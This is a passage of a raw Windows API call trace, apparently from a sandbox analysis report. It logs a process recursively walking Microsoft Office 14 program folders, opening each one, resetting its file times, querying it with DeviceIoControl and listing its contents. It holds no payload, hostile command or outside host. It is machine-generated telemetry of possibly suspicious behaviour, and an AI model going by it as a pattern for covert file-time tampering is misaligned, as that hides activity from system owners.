dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d2a0 [0069.945] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.945] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool"), fInfoLevelId=0x0, lpFileInformation=0x174e628 | out: lpFileInformation=0x174e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x538bb350, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.946] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174e66c, lpLastWriteTime=0x174e66c) returned 0 [0069.946] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174e6c4, lpOverlapped=0x0) returned 0 [0069.946] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\*", fInfoLevelId=0x1, lpFindFileData=0x174e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e474) returned 0x60d260 [0069.946] GetLastError () returned 0x12 [0069.946] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\*", fInfoLevelId=0x1, lpFindFileData=0x174e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e474) returned 0x60d1a0 [0069.946] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.947] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.947] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.947] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.947] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d260 [0069.947] GetLastError () returned 0x12 [0069.947] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.947] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.947] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\basic"), fInfoLevelId=0x0, lpFileInformation=0x174e0b8 | out: lpFileInformation=0x174e0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6073a7d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\basic"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.948] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174e0fc, lpLastWriteTime=0x174e0fc) returned 0 [0069.949] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174e154, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174e154, lpOverlapped=0x0) returned 0 [0069.949] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\*", fInfoLevelId=0x1, lpFindFileData=0x174df04, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174df04) returned 0x60d260 [0069.950] GetLastError () returned 0x12 [0069.950] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\*", fInfoLevelId=0x1, lpFindFileData=0x174df04, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174df04) returned 0x60d320 [0069.950] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.950] GetLastError () returned 0x12 [0069.950] FindClose (in: hFindFile=0x60d320 | out: hFindFile=0x60d320) returned 1 [0069.950] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy"), fInfoLevelId=0x0, lpFileInformation=0x174e0b8 | out: lpFileInformation=0x174e0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0069.950] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x174e0fc, lpLastWriteTime=0x174e0fc) returned 0 [0069.950] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174e154, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174e154, lpOverlapped=0x0) returned 0 [0069.950] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\*", fInfoLevelId=0x1, lpFindFileData=0x174df04, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174df04) returned 0x60d320 [0069.952] GetLastError () returned 0x12 [0069.952] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\*", fInfoLevelId=0x1, lpFindFileData=0x174df04, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174df04) returned 0x60d260 [0069.952] FindClose (in: hFindFile=0x60d320 | out: hFindFile=0x60d320) returned 1 [0069.952] GetLastError () returned 0x12 [0069.952] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.953] GetLastError () returned 0x12 [0069.953] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.953] GetLastError () returned 0x12 [0069.953] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.953] GetLastError () returned 0x12 [0069.953] FindClose (in: hFindFile=0x60d2a0 | out: hFindFile=0x60d2a0) returned 1 [0069.953] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0069.954] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.954] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.954] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d2a0 [0069.954] GetLastError () returned 0x12 [0069.954] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1a0 [0069.955] FindClose (in: hFindFile=0x60d2a0 | out: hFindFile=0x60d2a0) returned 1 [0069.955] GetLastError () returned 0x12 [0069.955] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.955] GetLastError () returned 0x12 [0069.955] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.955] GetLastError () returned 0x12 [0069.955] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.955] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0069.956] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.956] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.956] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0069.960] GetLastError () returned 0x12 [0069.960] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0069.960] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.960] GetLastError () returned 0x12 [0069.960] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.961] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0069.962] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.962] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17aedb8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x17aedb8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.962] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0069.966] GetLastError () returned 0x12 [0069.966] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0069.966] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.966] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\space templates"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\space templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0069.967] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0069.967] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17aedb8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x17aedb8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0069.967] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d120 [0069.967] GetLastError () returned 0x12 [0069.967] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0069.967] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.967] GetLastError () returned 0x12 [0069.967] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.967] GetLastError () returned 0x12 [0069.967] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.967] GetLastError () returned 0x12 [0069.967] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0069.968] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0069.969] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0069.969] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17aedb8, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x17aedb8, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0069.969] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1e0 [0069.970] GetLastError () returned 0x12 [0069.970] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0069.970] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0069.971] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0069.971] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.972] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17aedb8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x17aedb8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.972] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1e0 [0069.973] GetLastError () returned 0x12 [0069.973] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0069.973] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0069.973] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0069.975] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0069.975] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17aedb8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x17aedb8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0069.975] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0069.975] GetLastError () returned 0x12 [0069.975] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d120 [0069.975] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0069.975] GetLastError () returned 0x12 [0069.975] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.975] GetLastError () returned 0x12 [0069.975] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.975] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, 